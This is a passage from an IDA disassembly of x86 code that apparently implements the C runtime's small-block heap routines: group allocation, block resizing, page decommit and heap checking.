		jmp	short loc_4274EB
; ---------------------------------------------------------------------------


loc_4274B2:				; CODE XREF: sub_4273E0+B6j
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], 0
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx+4], 0
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+8], 0FFFFFFFFh
		mov	eax, dword_4E98E4
		add	eax, 1
		mov	dword_4E98E4, eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+10h]
		mov	dword ptr [edx], 0FFFFFFFFh
		mov	eax, [ebp+var_4]


loc_4274EB:				; CODE XREF: sub_4273E0+3Ej
					; sub_4273E0+93j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_4273E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4274F0	proc near		; CODE XREF: sub_426EA0+15Bp

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+10h]
		mov	[ebp+var_2C], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		mov	[ebp+var_8], eax
		mov	[ebp+var_28], 0


loc_42750F:				; CODE XREF: sub_4274F0+36j
		cmp	[ebp+var_8], 0
		jl	short loc_427528
		mov	ecx, [ebp+var_8]
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+var_28]
		add	edx, 1
		mov	[ebp+var_28], edx
		jmp	short loc_42750F
; ---------------------------------------------------------------------------


loc_427528:				; CODE XREF: sub_4274F0+23j
		mov	eax, [ebp+var_28]
		imul	eax, 204h
		mov	ecx, [ebp+var_2C]
		lea	edx, [ecx+eax+144h]
		mov	[ebp+var_C], edx
		mov	[ebp+var_20], 0
		jmp	short loc_427550
; ---------------------------------------------------------------------------


loc_427547:				; CODE XREF: sub_4274F0+84j
		mov	eax, [ebp+var_20]
		add	eax, 1
		mov	[ebp+var_20], eax


loc_427550:				; CODE XREF: sub_4274F0+55j
		cmp	[ebp+var_20], 3Fh
		jge	short loc_427576
		mov	ecx, [ebp+var_20]
		mov	edx, [ebp+var_C]
		lea	eax, [edx+ecx*8]
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+var_18]
		mov	edx, [ebp+var_18]
		mov	[ecx+8], edx
		mov	eax, [ebp+var_18]
		mov	ecx, [ebp+var_18]
		mov	[eax+4], ecx
		jmp	short loc_427547
; ---------------------------------------------------------------------------


loc_427576:				; CODE XREF: sub_4274F0+64j
		mov	edx, [ebp+var_28]
		shl	edx, 0Fh
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+0Ch]
		add	ecx, edx
		mov	[ebp+var_10], ecx
		push	4
		push	1000h
		push	8000h
		mov	edx, [ebp+var_10]
		push	edx
		nop
		call	near ptr 29A0E5Dh
		test	eax, eax
		jnz	short loc_4275A9
		or	eax, 0FFFFFFFFh
		jmp	loc_4276DA
; ---------------------------------------------------------------------------


loc_4275A9:				; CODE XREF: sub_4274F0+AFj
		mov	eax, [ebp+var_10]
		add	eax, 7000h
		mov	[ebp+var_1C], eax
		mov	ecx, [ebp+var_10]
		mov	[ebp+var_4], ecx
		jmp	short loc_4275C8
; ---------------------------------------------------------------------------


loc_4275BC:				; CODE XREF: sub_4274F0+13Bj
		mov	edx, [ebp+var_4]
		add	edx, 1000h
		mov	[ebp+var_4], edx


loc_4275C8:				; CODE XREF: sub_4274F0+CAj
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_1C]
		ja	short loc_42762D
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx+8], 0FFFFFFFFh
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+0FFCh], 0FFFFFFFFh
		mov	eax, [ebp+var_4]
		add	eax, 0Ch
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+var_18]
		mov	dword ptr [ecx], 0FF0h
		mov	edx, [ebp+var_18]
		add	edx, 1000h
		mov	eax, [ebp+var_18]
		mov	[eax+4], edx
		mov	ecx, [ebp+var_18]
		sub	ecx, 1000h
		mov	edx, [ebp+var_18]
		mov	[edx+8], ecx
		mov	eax, [ebp+var_18]
		add	eax, 0FECh
		mov	[ebp+var_24], eax
		mov	ecx, [ebp+var_24]
		mov	dword ptr [ecx], 0FF0h
		jmp	short loc_4275BC
; ---------------------------------------------------------------------------


loc_42762D:				; CODE XREF: sub_4274F0+DEj
		mov	edx, [ebp+var_C]
		add	edx, 1F8h
		mov	[ebp+var_14], edx
		mov	eax, [ebp+var_10]
		add	eax, 0Ch
		mov	ecx, [ebp+var_14]
		mov	[ecx+4], eax
		mov	edx, [ebp+var_14]
		mov	eax, [edx+4]
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+var_18]
		mov	edx, [ebp+var_14]
		mov	[ecx+8], edx
		mov	eax, [ebp+var_1C]
		add	eax, 0Ch
		mov	ecx, [ebp+var_14]
		mov	[ecx+8], eax
		mov	edx, [ebp+var_14]
		mov	eax, [edx+8]
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+var_18]
		mov	edx, [ebp+var_14]
		mov	[ecx+4], edx
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_2C]
		mov	dword ptr [ecx+eax*4+44h], 0
		mov	edx, [ebp+var_28]
		mov	eax, [ebp+var_2C]
		mov	dword ptr [eax+edx*4+0C4h], 1
		mov	ecx, [ebp+var_2C]
		movsx	edx, byte ptr [ecx+43h]
		mov	eax, [ebp+var_2C]
		mov	cl, [eax+43h]
		add	cl, 1
		mov	eax, [ebp+var_2C]
		mov	[eax+43h], cl
		test	edx, edx
		jnz	short loc_4276BD
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		or	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx


loc_4276BD:				; CODE XREF: sub_4274F0+1BCj
		mov	edx, 80000000h
		mov	ecx, [ebp+var_28]
		shr	edx, cl
		not	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		and	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	[edx+8], ecx
		mov	eax, [ebp+var_28]


loc_4276DA:				; CODE XREF: sub_4274F0+B4j
		mov	esp, ebp
		pop	ebp
		retn
sub_4274F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4276E0	proc near		; CODE XREF: sub_425D30+81p
					; sub_425F40+BCp

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		mov	eax, [ebp+arg_8]
		add	eax, 17h
		and	al, 0F0h
		mov	[ebp+var_1C], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+10h]
		mov	[ebp+var_30], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		sub	ecx, [eax+0Ch]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_C]
		shr	edx, 0Fh
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		imul	eax, 204h
		mov	ecx, [ebp+var_30]
		lea	edx, [ecx+eax+144h]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+arg_4]
		sub	eax, 4
		mov	[ebp+var_14], eax
		mov	ecx, [ebp+var_14]
		mov	edx, [ecx]
		sub	edx, 1
		mov	[ebp+var_28], edx
		mov	eax, [ebp+var_14]
		add	eax, [ebp+var_28]
		mov	[ebp+var_2C], eax
		mov	ecx, [ebp+var_2C]
		mov	edx, [ecx]
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_28]
		jle	loc_427A06
		mov	ecx, [ebp+var_10]
		and	ecx, 1
		test	ecx, ecx
		jnz	short loc_42776B
		mov	edx, [ebp+var_28]
		add	edx, [ebp+var_10]
		cmp	[ebp+var_1C], edx
		jle	short loc_427772


loc_42776B:				; CODE XREF: sub_4276E0+7Ej
		xor	eax, eax
		jmp	loc_427CC7
; ---------------------------------------------------------------------------


loc_427772:				; CODE XREF: sub_4276E0+89j
		mov	eax, [ebp+var_10]
		sar	eax, 4
		sub	eax, 1
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 3Fh
		jbe	short loc_42778B
		mov	[ebp+var_20], 3Fh


loc_42778B:				; CODE XREF: sub_4276E0+A2j
		mov	ecx, [ebp+var_2C]
		mov	edx, [ebp+var_2C]
		mov	eax, [ecx+4]
		cmp	eax, [edx+8]
		jnz	loc_42786D
		cmp	[ebp+var_20], 20h
		jnb	short loc_427802
		mov	edx, 80000000h
		mov	ecx, [ebp+var_20]
		shr	edx, cl
		not	edx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_30]
		mov	eax, [ecx+eax*4+44h]
		and	eax, edx
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_30]
		mov	[edx+ecx*4+44h], eax
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_20]
		mov	cl, [eax+4]
		sub	cl, 1
		mov	edx, [ebp+var_30]
		add	edx, [ebp+var_20]
		mov	[edx+4], cl
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_20]
		movsx	ecx, byte ptr [eax+4]
		test	ecx, ecx
		jnz	short loc_427800
		mov	edx, 80000000h
		mov	ecx, [ebp+var_20]
		shr	edx, cl
		not	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx


loc_427800:				; CODE XREF: sub_4276E0+106j
		jmp	short loc_42786D
; ---------------------------------------------------------------------------


loc_427802:				; CODE XREF: sub_4276E0+C1j
		mov	ecx, [ebp+var_20]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		not	eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_30]
		mov	ecx, [edx+ecx*4+0C4h]
		and	ecx, eax
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_30]
		mov	[eax+edx*4+0C4h], ecx
		mov	ecx, [ebp+var_30]
		add	ecx, [ebp+var_20]
		mov	dl, [ecx+4]
		sub	dl, 1
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_20]
		mov	[eax+4], dl
		mov	ecx, [ebp+var_30]
		add	ecx, [ebp+var_20]
		movsx	edx, byte ptr [ecx+4]
		test	edx, edx
		jnz	short loc_42786D
		mov	ecx, [ebp+var_20]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		not	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		and	edx, eax
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx


loc_42786D:				; CODE XREF: sub_4276E0+B7j
					; sub_4276E0:loc_427800j ...
		mov	ecx, [ebp+var_2C]
		mov	edx, [ecx+8]
		mov	eax, [ebp+var_2C]
		mov	ecx, [eax+4]
		mov	[edx+4], ecx
		mov	edx, [ebp+var_2C]
		mov	eax, [edx+4]
		mov	ecx, [ebp+var_2C]
		mov	edx, [ecx+8]
		mov	[eax+8], edx
		mov	eax, [ebp+var_28]
		add	eax, [ebp+var_10]
		sub	eax, [ebp+var_1C]
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jle	loc_4279E7
		mov	ecx, [ebp+var_14]
		add	ecx, [ebp+var_1C]
		mov	[ebp+var_2C], ecx
		mov	edx, [ebp+var_10]
		sar	edx, 4
		sub	edx, 1
		mov	[ebp+var_20], edx
		cmp	[ebp+var_20], 3Fh
		jbe	short loc_4278C3
		mov	[ebp+var_20], 3Fh


loc_4278C3:				; CODE XREF: sub_4276E0+1DAj
		mov	eax, [ebp+var_20]
		mov	ecx, [ebp+var_8]
		lea	edx, [ecx+eax*8]
		mov	[ebp+var_18], edx
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_18]
		mov	edx, [ecx+4]
		mov	[eax+4], edx
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_18]
		mov	[eax+8], ecx
		mov	edx, [ebp+var_18]
		mov	eax, [ebp+var_2C]
		mov	[edx+4], eax
		mov	ecx, [ebp+var_2C]
		mov	edx, [ecx+4]
		mov	eax, [ebp+var_2C]
		mov	[edx+8], eax
		mov	ecx, [ebp+var_2C]
		mov	edx, [ebp+var_2C]
		mov	eax, [ecx+4]
		cmp	eax, [edx+8]
		jnz	loc_4279D3
		cmp	[ebp+var_20], 20h
		jnb	short loc_42796C
		mov	ecx, [ebp+var_30]
		add	ecx, [ebp+var_20]
		movsx	edx, byte ptr [ecx+4]
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_20]
		mov	cl, [eax+4]
		add	cl, 1
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_20]
		mov	[eax+4], cl
		test	edx, edx
		jnz	short loc_42794A
		mov	edx, 80000000h
		mov	ecx, [ebp+var_20]
		shr	edx, cl
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		or	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx


loc_42794A:				; CODE XREF: sub_4276E0+252j
		mov	eax, 80000000h
		mov	ecx, [ebp+var_20]
		shr	eax, cl
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_30]
		mov	ecx, [edx+ecx*4+44h]
		or	ecx, eax
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_30]
		mov	[eax+edx*4+44h], ecx
		jmp	short loc_4279D3
; ---------------------------------------------------------------------------


loc_42796C:				; CODE XREF: sub_4276E0+22Fj
		mov	ecx, [ebp+var_30]
		add	ecx, [ebp+var_20]
		movsx	edx, byte ptr [ecx+4]
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_20]
		mov	cl, [eax+4]
		add	cl, 1
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_20]
		mov	[eax+4], cl
		test	edx, edx
		jnz	short loc_4279AA
		mov	ecx, [ebp+var_20]
		sub	ecx, 20h
		mov	edx, 80000000h
		shr	edx, cl
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		or	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	[edx+4], ecx


loc_4279AA:				; CODE XREF: sub_4276E0+2ADj
		mov	ecx, [ebp+var_20]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_30]
		mov	ecx, [edx+ecx*4+0C4h]
		or	ecx, eax
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_30]
		mov	[eax+edx*4+0C4h], ecx


loc_4279D3:				; CODE XREF: sub_4276E0+225j
					; sub_4276E0+28Aj
		mov	ecx, [ebp+var_2C]
		mov	edx, [ebp+var_10]
		mov	[ecx], edx
		mov	eax, [ebp+var_2C]
		add	eax, [ebp+var_10]
		mov	ecx, [ebp+var_10]
		mov	[eax-4], ecx


loc_4279E7:				; CODE XREF: sub_4276E0+1BBj
		mov	edx, [ebp+var_1C]
		add	edx, 1
		mov	eax, [ebp+var_14]
		mov	[eax], edx
		mov	ecx, [ebp+var_1C]
		add	ecx, 1
		mov	edx, [ebp+var_14]
		add	edx, [ebp+var_1C]
		mov	[edx-4], ecx
		jmp	loc_427CC2
; ---------------------------------------------------------------------------


loc_427A06:				; CODE XREF: sub_4276E0+70j
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_28]
		jge	loc_427CC2
		mov	ecx, [ebp+var_1C]
		add	ecx, 1
		mov	edx, [ebp+var_14]
		mov	[edx], ecx
		mov	eax, [ebp+var_1C]
		add	eax, 1
		mov	ecx, [ebp+var_14]
		add	ecx, [ebp+var_1C]
		mov	[ecx-4], eax
		mov	edx, [ebp+var_14]
		add	edx, [ebp+var_1C]
		mov	[ebp+var_14], edx
		mov	eax, [ebp+var_28]
		sub	eax, [ebp+var_1C]
		mov	[ebp+var_28], eax
		mov	ecx, [ebp+var_28]
		sar	ecx, 4
		sub	ecx, 1
		mov	[ebp+var_24], ecx
		cmp	[ebp+var_24], 3Fh
		jbe	short loc_427A57
		mov	[ebp+var_24], 3Fh


loc_427A57:				; CODE XREF: sub_4276E0+36Ej
		mov	edx, [ebp+var_10]
		and	edx, 1
		test	edx, edx
		jnz	loc_427BA0
		mov	eax, [ebp+var_10]
		sar	eax, 4
		sub	eax, 1
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 3Fh
		jbe	short loc_427A7E
		mov	[ebp+var_20], 3Fh


loc_427A7E:				; CODE XREF: sub_4276E0+395j
		mov	ecx, [ebp+var_2C]
		mov	edx, [ebp+var_2C]
		mov	eax, [ecx+4]
		cmp	eax, [edx+8]
		jnz	loc_427B60
		cmp	[ebp+var_20], 20h
		jnb	short loc_427AF5
		mov	edx, 80000000h
		mov	ecx, [ebp+var_20]
		shr	edx, cl
		not	edx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_30]
		mov	eax, [ecx+eax*4+44h]
		and	eax, edx
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_30]
		mov	[edx+ecx*4+44h], eax
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_20]
		mov	cl, [eax+4]
		sub	cl, 1
		mov	edx, [ebp+var_30]
		add	edx, [ebp+var_20]
		mov	[edx+4], cl
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_20]
		movsx	ecx, byte ptr [eax+4]
		test	ecx, ecx
		jnz	short loc_427AF3
		mov	edx, 80000000h
		mov	ecx, [ebp+var_20]
		shr	edx, cl
		not	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx


loc_427AF3:				; CODE XREF: sub_4276E0+3F9j
		jmp	short loc_427B60
; ---------------------------------------------------------------------------


loc_427AF5:				; CODE XREF: sub_4276E0+3B4j
		mov	ecx, [ebp+var_20]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		not	eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_30]
		mov	ecx, [edx+ecx*4+0C4h]
		and	ecx, eax
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_30]
		mov	[eax+edx*4+0C4h], ecx
		mov	ecx, [ebp+var_30]
		add	ecx, [ebp+var_20]
		mov	dl, [ecx+4]
		sub	dl, 1
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_20]
		mov	[eax+4], dl
		mov	ecx, [ebp+var_30]
		add	ecx, [ebp+var_20]
		movsx	edx, byte ptr [ecx+4]
		test	edx, edx
		jnz	short loc_427B60
		mov	ecx, [ebp+var_20]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		not	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		and	edx, eax
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx


loc_427B60:				; CODE XREF: sub_4276E0+3AAj
					; sub_4276E0:loc_427AF3j ...
		mov	ecx, [ebp+var_2C]
		mov	edx, [ecx+8]
		mov	eax, [ebp+var_2C]
		mov	ecx, [eax+4]
		mov	[edx+4], ecx
		mov	edx, [ebp+var_2C]
		mov	eax, [edx+4]
		mov	ecx, [ebp+var_2C]
		mov	edx, [ecx+8]
		mov	[eax+8], edx
		mov	eax, [ebp+var_28]
		add	eax, [ebp+var_10]
		mov	[ebp+var_28], eax
		mov	ecx, [ebp+var_28]
		sar	ecx, 4
		sub	ecx, 1
		mov	[ebp+var_24], ecx
		cmp	[ebp+var_24], 3Fh
		jbe	short loc_427BA0
		mov	[ebp+var_24], 3Fh


loc_427BA0:				; CODE XREF: sub_4276E0+37Fj
					; sub_4276E0+4B7j
		mov	edx, [ebp+var_24]
		mov	eax, [ebp+var_8]
		lea	ecx, [eax+edx*8]
		mov	[ebp+var_18], ecx
		mov	edx, [ebp+var_14]
		mov	eax, [ebp+var_18]
		mov	ecx, [eax+4]
		mov	[edx+4], ecx
		mov	edx, [ebp+var_14]
		mov	eax, [ebp+var_18]
		mov	[edx+8], eax
		mov	ecx, [ebp+var_18]
		mov	edx, [ebp+var_14]
		mov	[ecx+4], edx
		mov	eax, [ebp+var_14]
		mov	ecx, [eax+4]
		mov	edx, [ebp+var_14]
		mov	[ecx+8], edx
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+var_14]
		mov	edx, [eax+4]
		cmp	edx, [ecx+8]
		jnz	loc_427CAE
		cmp	[ebp+var_24], 20h
		jnb	short loc_427C48
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_24]
		movsx	ecx, byte ptr [eax+4]
		mov	edx, [ebp+var_30]
		add	edx, [ebp+var_24]
		mov	al, [edx+4]
		add	al, 1
		mov	edx, [ebp+var_30]
		add	edx, [ebp+var_24]
		mov	[edx+4], al
		test	ecx, ecx
		jnz	short loc_427C26
		mov	eax, 80000000h
		mov	ecx, [ebp+var_24]
		shr	eax, cl
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		or	edx, eax
		mov	eax, [ebp+arg_0]
		mov	[eax], edx


loc_427C26:				; CODE XREF: sub_4276E0+52Ej
		mov	edx, 80000000h
		mov	ecx, [ebp+var_24]
		shr	edx, cl
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_30]
		mov	eax, [ecx+eax*4+44h]
		or	eax, edx
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_30]
		mov	[edx+ecx*4+44h], eax
		jmp	short loc_427CAE
; ---------------------------------------------------------------------------


loc_427C48:				; CODE XREF: sub_4276E0+50Cj
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_24]
		movsx	ecx, byte ptr [eax+4]
		mov	edx, [ebp+var_30]
		add	edx, [ebp+var_24]
		mov	al, [edx+4]
		add	al, 1
		mov	edx, [ebp+var_30]
		add	edx, [ebp+var_24]
		mov	[edx+4], al
		test	ecx, ecx
		jnz	short loc_427C85
		mov	ecx, [ebp+var_24]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		or	edx, eax
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx


loc_427C85:				; CODE XREF: sub_4276E0+588j
		mov	ecx, [ebp+var_24]
		sub	ecx, 20h
		mov	edx, 80000000h
		shr	edx, cl
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_30]
		mov	eax, [ecx+eax*4+0C4h]
		or	eax, edx
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_30]
		mov	[edx+ecx*4+0C4h], eax


loc_427CAE:				; CODE XREF: sub_4276E0+502j
					; sub_4276E0+566j
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	edx, [ebp+var_14]
		add	edx, [ebp+var_28]
		mov	eax, [ebp+var_28]
		mov	[edx-4], eax


loc_427CC2:				; CODE XREF: sub_4276E0+321j
					; sub_4276E0+32Cj
		mov	eax, 1


loc_427CC7:				; CODE XREF: sub_4276E0+8Dj
		mov	esp, ebp
		pop	ebp
		retn
sub_4276E0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4E98E0, 0
		jz	loc_427DFC
		mov	eax, dword_4E98D4
		shl	eax, 0Fh
		mov	ecx, dword_4E98E0
		mov	edx, [ecx+0Ch]
		add	edx, eax
		mov	[ebp-4], edx
		push	4000h
		push	8000h
		mov	eax, [ebp-4]
		push	eax
		nop
		call	near ptr 29A0CE3h
		mov	edx, 80000000h
		mov	ecx, dword_4E98D4
		shr	edx, cl
		mov	eax, dword_4E98E0
		mov	ecx, [eax+8]
		or	ecx, edx
		mov	edx, dword_4E98E0
		mov	[edx+8], ecx
		mov	eax, dword_4E98E0
		mov	ecx, [eax+10h]
		mov	edx, dword_4E98D4
		mov	dword ptr [ecx+edx*4+0C4h], 0
		mov	eax, dword_4E98E0
		mov	ecx, [eax+10h]
		mov	dl, [ecx+43h]
		sub	dl, 1
		mov	eax, dword_4E98E0
		mov	ecx, [eax+10h]
		mov	[ecx+43h], dl
		mov	edx, dword_4E98E0
		mov	eax, [edx+10h]
		movsx	ecx, byte ptr [eax+43h]
		test	ecx, ecx
		jnz	short loc_427D82
		mov	edx, dword_4E98E0
		mov	eax, [edx+4]
		and	al, 0FEh
		mov	ecx, dword_4E98E0
		mov	[ecx+4], eax


loc_427D82:				; CODE XREF: .XComp0:00427D6Cj
		mov	edx, dword_4E98E0
		cmp	dword ptr [edx+8], 0FFFFFFFFh
		jnz	short loc_427DF2
		cmp	dword_4E98E4, 1
		jle	short loc_427DF2
		mov	eax, dword_4E98E0
		mov	ecx, [eax+10h]
		push	ecx
		push	0
		mov	edx, dword_4E98C8
		push	edx
		call	near ptr 29A0000h
		nop
		mov	eax, dword_4E98E4
		imul	eax, 14h
		mov	ecx, dword_4E98E8
		add	ecx, eax
		mov	edx, dword_4E98E0
		add	edx, 14h
		sub	ecx, edx
		push	ecx
		mov	eax, dword_4E98E0
		add	eax, 14h
		push	eax
		mov	ecx, dword_4E98E0
		push	ecx
		call	sub_4237A0
		add	esp, 0Ch
		mov	edx, dword_4E98E4
		sub	edx, 1
		mov	dword_4E98E4, edx


loc_427DF2:				; CODE XREF: .XComp0:00427D8Cj
					; .XComp0:00427D95j
		mov	dword_4E98E0, 0


loc_427DFC:				; CODE XREF: .XComp0:00427CDBj
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427E00	proc near		; CODE XREF: sub_426530+44p

var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_160		= dword	ptr -160h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_154		= dword	ptr -154h
var_150		= dword	ptr -150h
var_14C		= dword	ptr -14Ch
var_148		= dword	ptr -148h
var_144		= dword	ptr -144h
var_140		= dword	ptr -140h
var_13C		= dword	ptr -13Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 168h
		mov	eax, dword_4E98E4
		imul	eax, 14h
		push	eax
		mov	ecx, dword_4E98E8
		push	ecx
		call	near ptr 29415F4h
		nop
		test	eax, eax
		jz	short loc_427E2B
		or	eax, 0FFFFFFFFh
		jmp	loc_428419
; ---------------------------------------------------------------------------


loc_427E2B:				; CODE XREF: sub_427E00+21j
		mov	edx, dword_4E98E8
		mov	[ebp+var_13C], edx
		mov	[ebp+var_120], 0
		jmp	short loc_427E52
; ---------------------------------------------------------------------------


loc_427E43:				; CODE XREF: sub_427E00+612j
		mov	eax, [ebp+var_120]
		add	eax, 1
		mov	[ebp+var_120], eax


loc_427E52:				; CODE XREF: sub_427E00+41j
		mov	ecx, [ebp+var_120]
		cmp	ecx, dword_4E98E4
		jge	loc_428417
		mov	edx, [ebp+var_13C]
		mov	eax, [edx+10h]
		mov	[ebp+var_160], eax
		push	41C4h
		mov	ecx, [ebp+var_160]
		push	ecx
		nop
		call	near ptr 29415F4h
		test	eax, eax
		jz	short loc_427E93
		mov	eax, 0FFFFFFFEh
		jmp	loc_428419
; ---------------------------------------------------------------------------


loc_427E93:				; CODE XREF: sub_427E00+87j
		mov	edx, [ebp+var_13C]
		mov	eax, [edx+0Ch]
		mov	[ebp+var_128], eax
		mov	ecx, [ebp+var_160]
		add	ecx, 144h
		mov	[ebp+var_18], ecx
		mov	edx, [ebp+var_13C]
		mov	eax, [edx+8]
		mov	[ebp+var_4], eax
		mov	[ebp+var_144], 0
		mov	[ebp+var_158], 0
		mov	[ebp+var_C], 0
		jmp	short loc_427EE3
; ---------------------------------------------------------------------------


loc_427EDA:				; CODE XREF: sub_427E00+5D6j
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx


loc_427EE3:				; CODE XREF: sub_427E00+D8j
		cmp	[ebp+var_C], 20h
		jge	loc_4283DB
		mov	[ebp+var_11C], 0
		mov	[ebp+var_150], 0
		mov	[ebp+var_12C], 0
		mov	[ebp+var_14C], 0
		jmp	short loc_427F26
; ---------------------------------------------------------------------------


loc_427F17:				; CODE XREF: sub_427E00+140j
		mov	edx, [ebp+var_14C]
		add	edx, 1
		mov	[ebp+var_14C], edx


loc_427F26:				; CODE XREF: sub_427E00+115j
		cmp	[ebp+var_14C], 40h
		jge	short loc_427F42
		mov	eax, [ebp+var_14C]
		mov	[ebp+eax*4+var_118], 0
		jmp	short loc_427F17
; ---------------------------------------------------------------------------


loc_427F42:				; CODE XREF: sub_427E00+12Dj
		cmp	[ebp+var_4], 0
		jl	loc_42837D
		push	8000h
		mov	ecx, [ebp+var_128]
